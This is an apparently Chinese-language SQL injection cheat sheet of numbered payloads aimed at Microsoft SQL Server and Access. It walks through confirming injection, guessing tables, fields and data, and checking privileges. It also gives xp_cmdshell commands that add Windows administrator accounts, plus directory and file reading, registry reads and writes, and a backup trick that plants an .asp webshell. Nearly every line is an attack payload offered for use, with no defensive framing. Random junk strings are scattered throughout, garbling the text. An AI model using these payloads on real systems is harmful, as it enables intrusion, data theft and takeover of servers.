1.判断是否有注入;and 1=1 ;and 1=2 l\H=m3Bg
2.初步判断是否是mssql ;and user>0 ,&A7iO
RMV/&85?y
3.注入参数是字符'and [查询条件] and ''=' Qp5VP@t
;+R&}[9,A)
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ma]F7dZ5
B3`5O[6
5.判断数据库系统 {lzWrUGO
gx/,)> E.
;and (select count(*) from sysobjects)>0 mssql 6Igz:eX
,<_A2t 2
;and (select count(*) from msysobjects)>0 access 4\N;2N
!qQl@j O
eS^7A}*wd-
)u&|_&g{}J
6.猜数据库 ;and (select Count(*) from [数据库名])>0 F~vuM$+d
?=msH=N<l
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /U*C\ xMm
J1U/.`Oy
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 !?jrf ]
A@
M]
%?>G
9.(1)猜字段的ascii值(access) KK4`l}Fk:n
O`kl\K*R7
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3*XNV
}"H,h)T
(2)猜字段的ascii值(mssql) R%WCH?B<}
r|8d
4
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 cl3K<'D
a5^]20Fa
10.测试权限结构(mssql) sE<V5`Z=
79j+vH!zh
$rBq"u=,0+
Pj^{|U2 1
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 05#1w#i
PdFKs+Z`
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- h2A <" w
qA7>vi%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- k"%~"9
K7B/s9/xs
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- |Zpfq63W
,-LwtePJ0
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- +o{R _
Q8tL[>Xt
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- >>)b'c
O63<AY@
;and 1=(select IS_MEMBER('db_owner'));-- 2wg5#i
|A~jsz6pI
I_#kgp
~W'{p
11.添加mssql和系统的帐户
x+:UN'"r
mDABH@R
;exec master.dbo.sp_addlogin username;-- <al(7
;exec master.dbo.sp_password null,username,password;-- =o(5_S.u;
9&2O9Nz6
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- X7MM2V
lv<*7BCp
;exec master.dbo.xp_cmdshell 'net user username password 0S_~ \t
LmrfN?5
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- myQagqRx
~H_/zK6e
;exec master.dbo.xp_cmdshell 'net user username password /add';-- nNV'O(x}
dq6m>;`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }eU*(
}<^
~
'cmSiz-
xh,qNnGGi
^zmG0EH,
12.(1)遍历目录 ,kGc]{'W
`2WFk8) F
;create table dirs(paths varchar(100), id int) "Yv_B3p
ZY= {8T@
;insert dirs exec master.dbo.xp_dirtree 'c:\' <?6|.\&
#U4F0BdA
;and (select top 1 paths from dirs)>0 Gr'
CtO
1CD+B=pQG
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 34O
`@j0-3
4r#= *
8I?Wt
W
bdrg(d6
(2)遍历目录 S~bOUdV
Z
.t-4o<7 3
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- TDKki(o=~
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 BLdvyVFx
]i)c{y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }O5i/#.lR
Id'-&tYG
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 =l;ewlU
faX#**r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 X1|njJGO1
Jb@V}Ul$
WIT>!|w_
@Zu5Vp J
13.mssql中的存储过程 ,j{,h_Op
) 1f~ dR88
xp_regenumvalues 注册表根键, 子键 Q#X8u-~
K~{$oD7!
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 AaOuL,l
F?*-4I-
xp_regread 根键,子键,键值名 :yr+vcD?
wLH>:yKUU
;exec xp_regread bKY7/w<dP
gIa+5\qYY
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 )3}9K
^jS
ZRB)uA)5=
xp_regwrite 根键,子键, 值名, 值类型, 值 u#$]?($}d
, , OW
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 !8d{q)JZ
["93~[[^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 SCHP L.n
vn!3l1\+J
xp_regdeletevalue 根键,子键,值名 5h-SCB>P
Tod&&T'UW
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 O)*+="Rg
O!#g<`r{K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +H-6e P
9G#n 0&wRJ
DDP/DD;n}r
:D6
ON"6
14.mssql的backup创建webshell m)t;9J5
b9J_1Gl]
use model ]"hFC<w
OJuG~euy
create table cmd(str image); wj^3N7_:w
V)HG(k
insert into cmd(str) values (''); kR-SE5`Jk
O7m(o:t x3
backup database model to disk='c:\l.asp'; mbTEp*H
i{NzV
}<v@01
5y[Oj^
15.mssql内置函数 i Dp)FQ$
D9=KXo^
;and (select @@version)>0 获得Windows的版本号 JN-y)L/>
(AaoCa[
;and user_name()='dbo' 判断当前系统的连接用户是不是sa IqaT?+O\?r
{yHCXFWlS
;and (select user_name())>0 爆当前系统的连接用户 XK3tgaH
XkE`U5.
;and (select db_name())>0 得到当前连接的数据库 JV^=v@Z3
rNWw?_H-H(
5h=}j
%~H-)_d20
16.简洁的webshell DFB@O|JL
a`E#F]Z
use model q s6]-
p
Z|V
3
create table cmd(str image); x_N'TjS^{
x;P_1J%Q
insert into cmd(str) values (''); .\ULbN3Z
2ozax)GY
backup database model to disk='g:\wwwtest\l.asp';